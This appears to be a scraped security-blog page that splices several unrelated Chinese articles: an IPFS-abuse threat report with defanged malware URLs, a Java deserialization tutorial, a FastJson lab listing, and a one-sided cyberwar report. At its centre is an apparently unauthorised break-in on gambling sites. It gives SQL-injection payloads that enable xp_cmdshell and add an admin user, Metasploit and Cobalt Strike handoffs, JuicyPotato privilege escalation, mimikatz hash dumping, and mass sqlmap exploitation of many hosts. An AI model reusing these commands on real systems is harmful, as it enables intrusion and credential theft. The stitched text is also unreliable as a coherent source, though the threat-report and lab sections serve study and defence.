與任何技術一樣，IPFS也可能被攻擊者者濫用。然而，由於IPFS上的託管內容是去中心化和分佈式的，因此在定位和刪除生態系統中的惡意內容方面存在挑戰，這使其類似於bullet-proof 託管。

從2021第四季度到2022年第四季度末，Palo Alto Networks檢測到IPFS相關流量增加了893%。調查還顯示，病毒總數在同一時期增長了27000%以上。 IPFS相關流量的增加伴隨著惡意活動的顯著增加。檢測發現，2022年的許多攻擊活動涵蓋了網絡釣魚、憑證盜竊和惡意有效負載傳播。

整體流量增加從2022年第一季度開始，Palo Alto Networks的IPFS流量顯著增加，如下圖所示。 2022年第一季度，研究人員檢測到IPFS流量與2021年最後一個季度末的記錄相比增長了178%。

之後流量繼續增加：

第二季度增長85%；

第三季度增長62%；

2022年最後一個季度增長了19%；

這相當於整體增長了893%。

1.png

與IPFS相關的流量在2022年第一季度的VirusTotal上也出現了類似的增長，與2021年第四季度相比增長了6503%

之所以會出現這種增長，是因為採用了IPFS技術。新技術出現後總會有人惡意使用它。研究人員在Palo Alto Networks和VirusTotal提交的IPFS流量中觀察到的顯著增加也包括使用IPFS的惡意活動的大幅增加。

研究人員觀察到，攻擊者經常為他們的詐騙服務做廣告，使用各種宣傳。也就是說，由於IPFS分佈式文件系統的性質，IPFS為他們的活動提供了持久性。

3.png

攻擊者使用客戶IPFS鏈接銷售詐騙服務

4.png

5.png

6.png

攻擊者出售IPFS網絡釣魚頁面

攻擊者正在使用公共IPFS網關作為傳遞其惡意內容的方式。如果沒有這些互聯網可訪問網關，攻擊者將無法將IPFS網絡作為其攻擊活動的一部分。這一趨勢在許多網絡釣魚和網絡犯罪活動中使用互聯網可訪問的IPFS鏈接中可以看到，這些活動的初始攻擊媒介通常是電子郵件誘餌。

接下來，我們將詳細介紹在分析惡意使用IPFS技術時看到的一些攻擊活動。

網絡釣魚下圖顯示了IPFS與網絡釣魚相關的網絡流量呈指數級增長，尤其是在今年最後一個季度。與託管在網絡上的傳統網絡釣魚頁面不同，託管提供商或管理機構無法輕鬆刪除IPFS網絡釣魚內容。

一旦發佈到IPFS網絡，任何人都可以在自己的節點上獲取並重新發佈內容。網絡釣魚內容可以託管在多個節點上，並且必須向每個主機發出刪除內容的請求。如果任何一個主機不同意刪除，那麼內容幾乎不可能被刪除。

由於網站所有者、託管提供商或版主刪除或暫停內容，網絡釣魚活動的生存時間（TTL）通常比其他類型的網絡犯罪更短。 IPFS的結構使攻擊者能夠通過使其更具抵禦能力來延長他們的活動。

7.png

IPFS網絡釣魚URL

IPFS網絡釣魚活動與傳統網絡釣魚活動類似，攻擊者模仿合法服務和軟件（如DHL、DocuSign和Adobe）來增加進入某人收件箱的可能性。阻止這些誘惑的能力取決於接收組織的電子郵件安全性。雖然一些組織在其安全電子郵件網關和其他安全產品中製定了非常嚴格的規則，但其他組織沒有這樣做，因為擔心合法的電子郵件會受到影響。

請注意，下面顯示的名稱和徽標是攻擊者試圖冒充合法組織的作品，攻擊者的模仿並不意味著合法組織的產品或服務存在漏洞。

在下面的示例中，模仿DHL品牌的電子郵件誘餌包含一個附件。在該附件中，有一個指向實際網絡釣魚頁面的IPFS鏈接。

8.png

DHL主題的電子郵件誘餌，附件已提交給VirusTotal

一旦用戶點擊下圖所示的附件，就會預覽一張模仿Adobe PDF標識的假髮票。 “打開”按鈕實際上是一個IPFS鏈接，將用戶重定向到實際的網絡釣魚頁面，而不是打開PDF。這個頁面可以通過IPFS網關訪問。

9.png

附有DHL誘餌鏈接的附件

IPFS URL通過IPFS[.]io將用戶重定向到Adobe網絡釣魚頁面，然後嘗試竊取用戶的登錄憑據。

10.png

在DHL主題誘餌的附件中發現了IPFS釣魚鏈

與其他Web3技術一樣，常用的數據外竊取方法在IPFS網絡上是不可能的。攻擊者無法接收受害者輸入到表單中的數據，從而竊取他們的憑據。

標準的web表單使用HTML前端來顯示內容，後端使用表單處理器來收集、處理並將數據發送到web服務器。 IPFS不包含相同或類似的技術來處理這些動態功能。

使用IPFS的人只是簡單地提取或檢索數據的只讀副本，而不是與之交互。 IPFS網關後面的網絡釣魚頁面依賴於許多其他技術。

例如，攻擊者可以在收集帳戶憑證的網頁中使用嵌入式腳本代碼。他們還可以使用無頭表單，即可以填寫和收集的靜態用戶表單。表單字段被映射到JSON模型，以便通過API發送到後端系統，從而促進API驅動的竊取。這些信息是通過HTTP POST請求收集的，這些請求被發送給攻擊者，在那裡它可以被用於其他惡意目的。

Nillis.html中的未轉義腳本下圖顯示了一個模仿Microsoft的網絡釣魚示例，它以HTML頁面的形式託管。鏈接此頁面的IPFS URL為

hxxps[://]bafybeicw4jjag57bk3czji7wjznkkpbocg27qk3fjvqh5krbrfiqbksr2a[.]ipfs[.]w3s[.]link/Nills[.]html.

11.png

Nills.html的網絡釣魚頁面

要了解憑據將如何被竊取的，有必要查看網頁的源內容。

下圖顯示了一個名為WriteHTMLtoJS的函數。此函數的目的是將HTML寫入JavaScript (JS)，並對內容進行轉義。 UnescapeJS函數負責用實際的ASCII字符值解碼十六進制序列

12.png

Nills.html網頁的源代碼視圖

解碼和分析未轉義的內容會發現一對腳本標籤和一個觀察到的URL，它是app[.]headlessforms[.]cloud，網絡釣魚頁面似乎與此URL有關。

對無頭表單的分析表明，此網絡釣魚頁面使用的是一種管理用戶表單的方法，在該方法中，可以在第三方後端捕獲數據，而無需設計或開發前端web應用程序。

13.png

Nills.html的解碼視圖，其中包含憑據洩露的位置

受害者輸入帳戶用戶名和密碼憑據後，它將通過HTTPPOST請求發送。 URI末尾的字符串（GjCP9S9nke）是與無頭表單平台上的攻擊者相關聯的唯一標識令牌。

14.png

HTTP POST和捕獲的憑據

new.html中的HTTP POST另一個模仿微軟的網絡釣魚頁面也託管在IPFS上，名為new.html。關聯的IPFS釣魚URL為：

hxxp[://]bafybeifm5vcoj35hhuxf7ha3gg6asrrlrwu3bvcysgmrvygnm3qjmugwxq[.]ipfs[.]w3s[.]link/new[.]html?email=

15.png

new.html釣魚頁面

查看網頁源代碼會發現一個與前面引用的類似的JS函數，它對內容進行反轉義，將其解碼為ASCII值。 unescape函數如下圖所示。

16.png

new.html的源代碼視圖

對內容進行解碼後，會發現位於大量代碼底部附近的一個感興趣的片段，如下圖所示。

17.png

new.html URL

上圖中的代碼片段顯示了註冊到提交按鈕的點擊函數事件的外部URL (fairpartner[.]ru)。此URL將與HTTP POST請求提供的數據聯繫，如下圖所示。

18.png

fairpartner.ru的DNS請求

截止發文，研究人員還無法捕獲憑證盜竊，因為該域不再可訪問，這突出了使用第三方服務(如無頭表單)進行攻擊的優勢。

IPFS不僅被攻擊者用於網絡釣魚，它還用於惡意軟件攻擊集和勒索軟件。

眾所周知，RansomEXX等勒索軟件即服務（RaaS）運營商會使用IPFS網絡發布受害者被盜的數據。 Smoke Loader、XLoader、XMRig和OriginLogger等惡意軟件經常使用IPFS鏈接進行惡意有效負載傳遞。 IPStorm和Dark實用程序使用IPFS網絡作為基礎設施。

攻擊過程攻擊者以幾種不同的方式使用IPFS網關。可以將這些方法分類為傳播方法，或用作託管或分級有效負載的基礎設施，或者用作分散的C2信道。

以下惡意軟件家族在2022年全年一直在使用IPFS。惡意軟件家族Dark Utilities一直在使用IPFS網關來轉移惡意負載。 IPStorm使用IPFS網關作為P2P通信的C2信道。

攻擊者還使用IPFS網關提供各種惡意軟件，例如：

OriginLogger

XLoader

XMRig

Metasploit

接下來，我們將介紹這些攻擊是如何在高級別上運行的，包括IPFS是如何被用來促進惡意操作的。

OriginLoggerOriginLogger惡意軟件開始於2019年。它是Agent Tesla遠程訪問木馬的迭代版本。它是用.NET編寫的，是一個隱蔽性很強的信息竊取程序。這種攻擊通常以擊鍵和剪貼板數據為目標，這些數據通過C2通道傳送回攻擊者控制的服務器。

Unit 42的研究人員發現了一個偽裝成逾期發票的電子郵件誘餌，帶有XLL附件。打開XLL文件後，會向IPFS URL發送HTTP GET請求：

hxxps[://]ipfs[.]io/ipfs/QmXtVwamvHvXZzuEZcMn2xDsPRKN8uS17YCUzTiGx1rYnv?filename=file-05-2022.exe

此URL用於通過IPFS網關下載OriginLogger負載。

19.png

附件

下圖顯示了OriginLogger的第二個傳播示例，這封電子郵件也偽裝成過期發票，標題是“過期發票”。

這個電子郵件誘餌還有一個XLL文件附件。打開後，還會向IPFS URL發送GET請求：

hxxps[://]ipfs[.]io/ipfs/QmXtVwamvHvXZzuEZcMn2xDsPRKN8uS17YCUzTiGx1rYnv?filename=file-05-2022.exe

點擊此URL可通過IPFS網關下載OriginLogger負載。

20.png

推送包含OriginLogger有效負載的附件的電子郵件

下面列出了託管在IPFS上的一些其他OriginLogger有效負載，這些負載來自2022年5月至6月期間發生的一場活動：

hxxps[://]ipfs[.]io/ipfs/QmQBPuPxy3nZjK2yVspsUJVhutajAfRQpnjc58RAcUJFrh?filename=INV-SCL0093-05-22pdf.exe

hxxps[://]ipfs[.]io/ipfs/QmY4kDbUk8VYM8Zzn1rVgfa3c4ybma4evMBfyWwyieaZxW?filename=Sign-Reurn-pdf.exe

hxxps[://]ipfs[.]io/ipfs/QmczJ1MxQ2SH8deXBTJfFgsrApM5BShgLSh1MQry4Vxc4c?filename=REF

XLoaderXLoader惡意軟件起始於2020年，是FormBook的迭代版。 XLoader被宣傳為一種可以在Windows和macOS上運行的軟件即服務（MaaS）產品。 XLoader能竊取瀏覽器和登錄憑證，它還能夠記錄鍵盤和捕獲屏幕截圖。

Unit 42的研究人員觀察到以下與XLoader有效負載託管相關的野外（ITW）URL：

hxxp[://]bafybeiafb63z73aoz3d4jdpve2rhlwo6ujlzjyri26z63flqnara2dqwoa[.]ipfs[.]dweb[.]link/order.exe

bafybeicokadgkcohrqslwdnmtu5mcc2zmo2hveiw2bh5j5z35onsxe3cy4[.]ipfs[.]dweb[.]link

XMRigXMRig是一個自2017年以來一直活躍的惡意挖礦軟件，它是一個開源實用程序，很受各類攻擊組織的歡迎。

下圖顯示了一個ITW IPFS域，該域在2023年3月下旬為XMRig有效負載提供服務。 Unit 42的研究人員還觀察到攻擊者濫用Cloudflare的IPFS網關來託管XMRig。

21.png

ITW域正在下載XMRig有效負載

Unit 42觀察到以下與XMRig託管相關的URL：

hxxps[://]bafybeibgc3snqi6qesnhskujhjcbduu7lfhju7eppumuqhymapuwvln6tq[.]ipfs[.]nftstorage[.]link

hxxps[://]cloudflareipfs[.]com/ipns/12D3KooWDdu1TTG9JRzFisv8HBXE2Zi2qpqs1r2vb88vEE1ws5mc/phpupdate.exe

下圖顯示了XMRig的可執行PE文件屬性。

22.png

XMRig PE文件信息

MetasploitMetasploit框架是一個滲透測試工具包，自21世紀初以來就一直活躍。 Metasploit包含漏洞利用、模塊、有效負載和輔助功能。該工具包的主要用例是生成有效負載並實現代碼執行，以建立與受害者設備的通信通道。這使得使用該工具包的人能夠訪問和控制環境或用戶。

2023年3月下旬，Unit 42的研究人員觀察到一個ITW IPFS域：

hxxps[://]bafybeihtuhj7ezvjbtig75qpv43t7eh6dmcnarlm454fx5yjb4uzqbidpy[.]ipfs[.]infura-ipfs[.]io

自2022年5月26日以來，該域一直在提供Metasploit shellcode負載。 shellcode連接回IP地址51.254.127[.]82。

23.png

從IPFS域下載Metasploit負載

24.png

Metasploit shellcode逆向shell IP連接

與相同的Metasploit有效負載相關的附加ITW域：

hxxps[://]ipfs.infura[.]io/ipfs/QmejguEysvXLMaAYmXe3EXmjfnoAqMdVfn4ojto1yLTGhK

IPStormIPStorm惡意軟件自2019年以來一直活躍，它使用IPFS作為C2通道。

IPStorm使用開源庫libp2p作為網絡棧，並通過IPFS網絡進行P2P通信。可執行文件是用Golang編寫的，包含多個可用於識別惡意軟件家族的軟件包名稱。該攻擊在模塊名稱之前使用文件夾名稱/storm，如下圖所示。

25.png

b8ee3897aff6c6660557a4c73b243870020705df6c87287040bfcd68b7c8b100中使用的GO庫的屏幕截圖

Dark UtilitiesDark Utilities惡意軟件家族最初是在2022年由Cisco Talos發現的。是一個為攻擊者提供全功能C2 功能的平台，使用IPFS作為其首選的傳播渠道。此攻擊可以針對Windows

HireHackking

0x00  前言

我们的小团队对偶然发现的bc站点进行的渗透,从一开始只有sqlmap反弹的无回显os-shell到CS上线,到配合MSF上传脏土豆提权,到拿下SYSTEM权限的过程,分享记录一下渗透过程

0x01 登录框sql注入

看到登录框没什么好说的,先试试sqlmap一把梭

图片

burp抓包登录请求,保存到文件直接跑一下试试

python3 sqlmap.py -r "2.txt"
有盲注和堆叠注入
图片
看看能不能直接用sqlmap拿shell
python3 sqlmap.py -r "2.txt" --os-shell
目测不行
图片
 提示的是xp_cmdshell未开启,由于之前扫出来有堆叠注入,尝试运用存储过程打开xp_cmdshell
Payload:
userName=admin';exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;WAITFOR DELAY '0:0:15' --&password=123
延时15秒,执行成功(如果没有堆叠注入就把每个语句拆开一句一句执行,效果理论上应该是一样的)
图片
顺便试试看直接用xp_cmdshell来加用户提权,构造payload(注意密码别设太简单,windows系统貌似对密码强度有要求,设太简单可能会失败)
userName=admin';exec xp_cmdshell 'net user cmdshell Test ZjZ0ErUwPcxRsgG8E3hL /add';exec master..xp_cmdshell 'net localgroup administrators Test /add';WAITFOR DELAY '0:0:15' --&password=123
nmap扫了一下,目标的3389是开着的,mstsc.exe直接连
没连上
图片
再跑一下os-shell,发现能跑绝对路径了,好兆头
图片
成功弹出shell
图片
因为是盲注,所以执行whoami之类的命令各种没回显,于是直接来个CS的shellcode
图片
图片
生成的shellcode直接粘贴进os-shell里回车
图片
然后CS里啪的一下就上线了,很快啊.赶紧喊几个不讲武德的年轻人上线打牌
0x02 信息收集
tasklist看一下进程,有阿里云盾,有点难搞
图片
systeminfo看看有什么
阿里云的服务器,版本windows server 2008 R2打了75个补丁
图片
whoami一下,目测数据库被做过降权,nt service权限,非常低
图片
尝试传个ms-16-032的exp上去,直接上传失败
图片
到这里,CS的作用已经极其有限了.CS也就图一乐,真渗透还得靠MSF
0x03  利用frp到CS服务端联动MSF攻击
在CS上开一个监听器
图片
修改一下frp的配置文件
图片
保存配置文件后在frp文件夹下启动frp
./frpc -c frpc.ini
图片
打开msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST 127.0.0.1
set LPORT 9996
run
这里可以看到MSF已经开启监听了
图片
回到CS,右键选一个主机增加一个会话
图片
选择刚创建好的监听器,choose
图片
回到msf,session啪的一下就弹回来了,很快啊
图片
我们进shell看一下,实际上就是接管了CS的beacon,依然是低权限
图片
0x04 上传烂土豆EXP提权
在本地准备好一个烂土豆的EXP(注意windows路径多加个斜杠,虽然也可以不加,但试了几台机子发现加了成功率高,不知道什么原理)
upload /root/EXP/JuicyPotato/potato.exe C:\\Users\\Public
图片
CS翻一下目标机器的文件,发现成功上传
图片
然后进目标机器的这个文件夹下开始准备提权
cd C:\\Users\\Public
use incognito
execute -cH -f ./potato.exe
list_tokens -u
复制administrator的令牌
impersonate_token "administrator的令牌"
图片
最后检查一下是否提权成功
图片
0x05 mimikatz抓取密码hash
先提个权
getsystem
图片
试试能不能直接dump出来
图片
不行,只好用mimikatz了
load mimikatz
然后抓取密码哈希
mimikatz_command -f samdump::hashes
图片
也可以用MSF自带的模块(这个比mimikatz慢一点)
run post/windows/gather/smart_hashdump
图片
然后丢到CMD5解密,如果是弱口令可以解出账户密码,这次运气比较好,是个弱口令,直接解出了密码,然后mstsc.exe直接连,成功上桌面
图片
0x06 信息收集扩大攻击范围
成功获取到目标最高权限之后,尝试通过信息收集获取其他相类似的站点进行批量化攻击.
@crow师傅提取了该网站的CMS特征写了一个fofa脚本批量扫描,最终得到了1900+个站点
图片
但由于bc站往往打一枪换一个地方,这些域名往往大部分是不可用的,因此需要再确认域名的存活状态,使用脚本最终得到了一百多个存活域名
图片
在使用脚本批量访问带漏洞的URL,把生成的request利用多线程脚本批量发起请求去跑这个请求
python3 sqlmap.py -r "{0}" --dbms="Microsoft SQL Server" --batch --os-shell
最终得到可以弹出os-shell的主机,再通过手工注入shellcode,最终得到大量的上线主机
图片
0x07 进后台逛逛
用数据库里查出来的管理员账号密码登录网站后台看一看
20个人充值了80多万
图片

图片
图片

还有人的游戏账号叫"锦绣前程",殊不知网赌就是在葬送自己的前程!
图片
劝大家远离赌博,也希望陷进去的赌徒回头是岸!





转载于原文链接地址： https://mp.weixin.qq.com/s?__biz=MzI3NjA4MjMyMw==&mid=2647772541&idx=1&sn=646e732c96521e0d4d9d109426c4dc4d&chksm=f35f9681c4281f97b4c46cd95f858dc90481706a6db607fcfd6596a15745ca10c88ba83e0e9f&scene=21#wechat_redirect

		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
1683253145740260.jpeg



0x01 前言距離上一次更新JAVA安全的系列文章已經過去一段時間了，在上一篇文章中介紹了反序列化利用鏈基本知識，並闡述了Transform鏈的基本知識。 Transform鏈並不是一條完整的利用鏈，只是CommonsCollections利用鏈中的一部分。當然並不是所有的CC鏈都需要用Transform鏈。



為了更方便的理解CC鏈，我們並不會按照順序來闡述所有的鏈，而是按照鏈的難易程度，由易到難。



0x02CommonsCollections5鏈CommonsCollections5鍊是整個CC鏈中最簡單的一條鏈，通過BadAttributeValueExpException類的readObject方法觸發反序列化的過程，最終調用Transform鏈來達到命令執行的效果。



在ysoserial的環境中調試CommonsCollections5鏈的方式很簡單，如圖2.1所示。1683253223115330.png



圖2.1 使用ysoserial生成反序列化利用鏈



直接調用就會執行彈出計算器的命令，跟踪run方法可以查看代碼執行邏輯，如圖2.2所示。



 1683253284109251.png



圖2.2 在ysoserial中的序列化和反序列化過程



在ysoserial的run方法中既有序列化的過程，也有反序列化的過程。所以調用run方法因為反序列化的過程導致會執行對應的惡意代碼，彈出計算器。



在很多情況下需要保存反序列化對像到文件，可以通過在run方法中添加文件保存方法即可，如圖2.3所示。



 1683253318921757.png



圖2.3 保存序列化字節碼對像到文件



通過上面的方式可以直接把生成的序列化字節碼對象保存到文件cc.ser，查看文件內容，如圖2.4所示。文件中開頭的字符是aced0005，符合序列化文件的標準特徵。



 1683253357214716.png



圖2.4 通過xxd查看序列化文件保存的內容



通過上面的方式可以利用ysoserial生成標準的CommonsCollections5利用鏈對應的payload，下一步會繼續對CommonsCollections5利用鏈的調用過程進行分析。



通過debug的方式可以查看整個CommonsCollections5利用鏈的棧調用過程，如圖2.5所示。



 1683253399115293.png



圖2.5 CommonsCollections5利用鏈的棧調用過程



在圖2.5中，紅框2對應的過程階段是屬於Transform鏈的調用過程，在上一篇文章中已經進行詳述。紅框1對應的過程階段是屬於CommonsCollections5特有的調用過程，也是屬於本文的重點部分內容。



反序列化的起始點是javax.management.BadAttributeValueExpException類的readObject方法，如圖2.6所示。



 1683253437177607.png



圖2.6 調用BadAttributeValueExpException類的readObject方法



從圖2.6可以看出readObject方法首先獲取字節流類（也就是本類）對應的val字段，然後基於多個判斷，最終下一步操作是val字段對應的toString方法。這裡有一點需要注意的是判斷邏輯中要求System.getSecurityManager()為null，也就是不能開啟SecurityManager模式。



在下一步的調用棧中是調用了org.apache.commons.collections.keyvalue.TiedMapEntry的toString方法，也就是需要把上一步的val字段類型賦值為TiedMapEntry類。在TiedMapEntry類的toString方法中調用了getValue方法，如圖2.7所示。



 1683253474461492.png



圖2.7 TiedMapEntry類的toString方法



繼續跟踪getValue方法，如圖2.8所示。



 1683253512120378.png



圖2.8 調用map接口的get方法



從圖2.8可以看出，這裡調用了java.util.Map接口的get方法。所有隻要找到一個繼承自java.util.Map接口的類的get方法中存在惡意調用即可。在CommonsCollections5鏈中找到的惡意類是org.apache.commons.collections.map.LazyMap類，如圖2.9所示。



 1683253564192404.png



圖2.9 LazyMap類的get方法調用



從圖2.9可以看出LazyMap類的get方法會調用org.apache.commons.collections.Transformer類的transform方法。在上一篇文章的內容中已經講到在反序列化過程中如果可以調用transform方法，那麼就可以通過transform方法來執行系統命令，也就可以達到RCE的效果。



實際上要編寫真正可利用的EXP遠比基於棧調用來分析更加複雜，因為在編寫EXP的過程中，需要考慮每一步棧調用的過程中的邏輯判斷條件，這並不是一件簡單的事情。



一般來說反序列化利用鏈代碼的編寫是倒著來寫的，首先是transform鏈的構造，如果某個類可以調用transformChain的transform方法，則可以執行命令，如圖2.10所示



 1683253595107777.png



圖2.10 通過調用Transformer類的transform方法調用執行命令



註釋transform方法調用，繼續倒序編寫EXP。如果某個類可以調用LazyMap類的get方法，則可以執行系統命令，如圖2.11所示。



 1683253640115164.png



圖2.11 通過調用LazyMap類的get方法執行命令



註釋LazyMap的get方法調用，繼續倒序編寫EXP。如果某個類可以調用TiedMapEntry類的toString方法，則可以執行系統命令，如圖2.12所示。



 1683253676150771.png



圖2.12 通過調用TiedMapEntry類的toString方法執行系統命令



註釋TiedMapEntry的toString方法調用，繼續倒序編寫EXP。找到javax.management. BadAttributeValueExpException類的readObject方法中存在toString的方法調用，模擬反序列化過程，執行命令，如圖2.13所示。



 1683253713138888.png



圖2.13 模擬BadAttributeValueExpException類的反序列化過程執行命令



這樣就完整的複現和分析了CommonsCollections5利用鏈，從圖2.13的payload中可以看出CommonsCollections5利用鏈中沒有復雜的邏輯處理，適合新手入門java反序列化漏洞學習。



0x03CommonsCollections7鏈CommonsCollections7鍊是一條和CommonsCollections5鏈很像的利用鏈，最終的結果都是通過LazyMap的get方法調用Transform鏈來執行命令，調用棧如圖3.1所示。



 1683253747166447.png



圖3.1CommonsCollections7利用鏈



如圖3.1所示，其中紅框部分和CommonsCollections5鍊是完全一樣的，區別在於CommonsCollections7鍊是通過Hashtable類readObject方法一步步調用AbstractMap類的equals方法來調用的。



由於分析調用鏈的方式基本相同，所以不再對這條鏈進行分析。



0x04 結論CommonsCollections利用鏈中有多條利用鏈都涉及到Transform鏈，包括CC1、CC5、CC6、CC7，其中的調用過程都非常相似。但是並不是所有的CC鏈都是基於Transform實現的命令執行，在下一篇文章中會講到其他的利用鏈，會有更加複雜的應用方式。



往期推薦1



告別腳本小子系列丨JAVA安全(1)——JAVA本地調試和遠程調試技巧



2



告別腳本小子系列丨JAVA安全(2)——JAVA反編譯技巧



3



告別腳本小子系列丨JAVA安全(3)——JAVA反射機制



4



告別腳本小子系列丨JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析



5



告別腳本小子系列丨JAVA安全(5)——序列化與反序列化



6



告別腳本小子系列丨JAVA安全(6)——反序列化利用鏈（上）


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
fastJson全版本Docker漏洞环境(涵盖1.2.47/1.2.68/1.2.80等版本)，主要包括JNDI注入、waf绕过、文件读写、反序列化、利用链探测绕过、不出网利用等。设定场景为黑盒测试，从黑盒的角度覆盖FastJson深入利用全过程，部分环境需要给到jar包反编译分析。
Docker环境
docker compose up -d
若docker拉取环境缓慢，请尝试使用国内镜像
https://www.runoob.com/docker/docker-mirror-acceleration.html
环境启动后，访问对应ip的80端口：
ti2jxksoecy12903.jpg
总结了一些关于FastJson全版本常用漏洞利用Poc,可搭配食用：Fastjson全版本检测及利用-Poc
环境使用后请销毁,否则可能会冲突：docker compose down
整理一下靶场顺序：(根据利用特点分成三个大类)
FastJson 1.2.47
1247-jndi
1247-jndi-waf
1247-waf-c3p0
1245-jdk8u342
FastJson 1.2.68
1268-readfile
1268-jkd11-writefile
1268-jdk8-writefile
1268-writefile-jsp
1268-writefile-no-network
1268-jdbc
1268写文件利用另外写了一篇，可搭配使用：FastJson1268写文件RCE探究
FastJson 1.2.80
1280-groovy
1283-serialize
每个机器根目录下都藏有flag文件，去尝试获取吧！
部分环境wp目前还未给出,打算过段时间放出，也欢迎提交你的wp和建议


DOCK环境：https://github.com/lemono0/FastJsonParty



		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
俄烏衝突是一場新型的混合戰爭。在俄烏物理空間戰場之外，網絡戰、輿論認知戰膠著在一起，多方勢力進行激烈的較量。自2022年俄烏衝突引發全球高度關注至今，俄烏衝突已持續了400多天，局勢持續發酵。據2023年4月9日《纽约时报》 報導，多家社交媒體近來披露了一批疑似美軍秘密文件中，包含韓國政府高層討論是否向烏克蘭提供武器等內容，而這些信息來自美國情報部門對韓方的監聽。這一信息一經發布，再次引發對俄烏衝突話題的關注。



以美國為首的西方國家，雖然表面上未直接參與軍事衝突，卻利用其先進的網絡信息技術和主流媒體平台極力壓制俄羅斯，並引導全球黑客加入網絡戰，起到了推波助瀾的作用。 2022年6月，微軟公司發布的《保卫乌克兰：网络战争的初始教训》 報告指出，在俄烏戰爭爆發前的一周內烏克蘭政府的數據就被悄悄的“運出”了烏克蘭，上傳到美國的雲上進行數據儲存和處理，美國甚至為此還修訂了法律。俄烏衝突爆發後，美國前國務卿希拉里马云惹不起马云克林頓在接受美國微軟全國廣播公司（MSNBC）的採訪時呼籲美國黑客對俄羅斯發動網絡攻擊。美國還在利用跨國信息科技公司在互聯網世界的資源主導權，不斷對俄羅斯的輿論發聲渠道圍追堵截。蘋果公司刪除了俄羅斯以外國家和地區App Store中俄羅斯的新聞應用程序；谷歌公司封鎖了俄羅斯官方媒體的YouTube頻道。美國在俄烏衝突背後的頻頻動作，暴露出美國所宣揚的所謂“清潔網絡”和“符合民主價值觀和利益的技術”，不過是可以讓美國肆意竊密、隨意攻擊他國、確保美國“唯我獨尊”的網絡和技術優勢。最近美國五角大樓洩露的情報等一系列事實證明，美國是網絡戰的始作俑者、先進網絡武器的最大擴散方、全球最大的網絡竊密者。



本報告基於網絡空間搜索引擎鍾馗之眼（ZoomEye）的網絡空間測繪數據、創宇安全智腦、關基目標庫、高級持續性威脅（APT）流量監測系統、雲蜜罐平台的攻擊日誌數據，通過對俄烏衝突爆發前、衝突爆發初期、衝突相持階段的相關數據進行趨勢分析，描繪俄烏衝突網絡空間對抗的演進過程，總結俄烏衝突網絡空間對抗呈現的主要特徵，並總結經驗、提出建議。



一、俄烏衝突網絡空間對抗情況概覽根據ZoomEye的數據，可以將俄烏衝突劃分為三個階段，即衝突爆發前（2021年12月1日至2022年2月24日）、衝突爆發初期（2022年2月24日至2022年3月7日）和衝突相持階段（2022年3月7日至今）（見圖1）。



 图1.jpg



圖1 烏克蘭的IP存活趨勢圖



通過網絡空間動態測繪、APT組織行為測繪、攻擊者大數據監測、暗網流量監測、輿情信息監測等多個維度，分析俄烏衝突以來網絡空間資產變化趨勢和網絡空間對抗態勢，可以發現和全面“感知”網絡戰這個新型戰場與物理空間戰場發展態勢之間的關聯映射。



一是“感知”了雙方的網絡空間戰法戰略。推測雙方通過衝突爆發前的長期APT攻擊獲取了精準的高價值情報，在軍事衝突爆發之前“網絡戰先行”，通過分佈式拒絕服務（DDoS）攻擊重點打擊對方的軍事、能源、金融等關鍵基礎設施，並在軍事衝突爆發後通過網絡戰持續消耗對方，同時，將輿論認知戰貫穿始終，以便達到鼓舞己方士氣、削弱敵方信心的目的。



二是“感知”了俄烏衝突爆發前的作戰準備。通過對APT組織的長期情報跟踪以及對全球黑客組織所使用的網絡資產、殭屍主機進行測繪，可以發現，在衝突爆發前有大量用於攻擊的命令與控制（C2）服務器資源上線部署，為衝突爆發前進行大規模DDoS攻擊提供支撐。



三是“感知”了DDoS攻擊先行成為衝突背後壓制對方的重要手段。通過“肉雞”數量的變化趨勢以及俄烏雙方關鍵信息系統的存活的變化趨勢，可以發現，軍事行動之前往往伴隨大規模DDoS攻擊，成為先行壓制的重要手段。



四是“感知”了在衝突初期特別軍事行動演進路線以及在相持階段雙方多次大規模空襲的區域分佈。通過對沖突爆發區域的網絡空間IP掉線率數據變化及分佈情況，可以發現，區域分佈與特別軍事行動演進路線及進度高度吻合。



五是“感知”了雙方應對網絡攻擊的防禦能力和應急響應能力。通過對黑客使用的跳板抽樣數據、暗網出口流量的變化趨勢分析，可以發現，國際黑客組織在俄烏衝突中產生了巨大影響。國際黑客組織對俄烏雙方發動攻擊的趨勢和烈度，與俄烏雙方關鍵資產的掉線率相印證，可以從側面反映出俄烏雙方的網絡防護能力和應急響應能力。



六是“感知”了雙方在網絡空間對抗的激烈程度。通過對APT組織域名資產的變化趨勢分析、對烏克蘭戰場智能指揮系統Delta入侵事件還原，以及對烏克蘭IT軍隊在社交平台公佈的信息分析，可以看出，俄烏雙方在網絡空間的持續對抗情況，與長期的測繪數據情況相匹配。



七是“感知”了搶奪認知域作戰主動權就是搶占國際輿論主導。俄烏雙方都以“第一視角”的方式向全球直播衝突對抗實況，都在網絡媒體和社交平台發聲，爭奪國際傳播認知敘事主導權。以美國為首的西方國家利用在互聯網世界的資源主導權，不斷對俄羅斯的輿論發聲渠道進行圍追堵截，致使全球黑客站隊情況呈現一邊倒的局勢，也使網絡戰的邊界更加模糊，大大影響了網絡戰資源的傾斜。 



二、俄烏衝突爆發前期網絡空間對抗綜合各方觀點，可以推測，在俄烏衝突爆發前，雙方主要通過連續多年的APT攻擊獲取情報，為日後發起軍事衝突打下基礎。上述情況也可以從知道創宇的APT組織行為測繪以及輿論信息數據得到驗證和顯示。



1　衝突爆發前APT組織行為的測繪數據知道創宇404高級威脅情報團隊連續多年跟踪某個國外APT組織行為發現，國外安全機構報導稱該組織從2013年開始針對烏克蘭開展APT攻擊活動。通過對該APT組織使用的C2網絡資產進行持續測繪（見圖2），可以明顯看到，從2021年5月開始，該組織的C2網絡資產數量相較之前激增近3倍，並在2022年1月達到最高峰。由此推測，俄烏衝突爆發前，該APT組織即開始大量部署網絡基礎設施，並對烏克蘭持續性實施大規模的網絡攻擊。



 图2.jpg



圖2 衝突爆發前某國外APT組織使用的IP資產情況



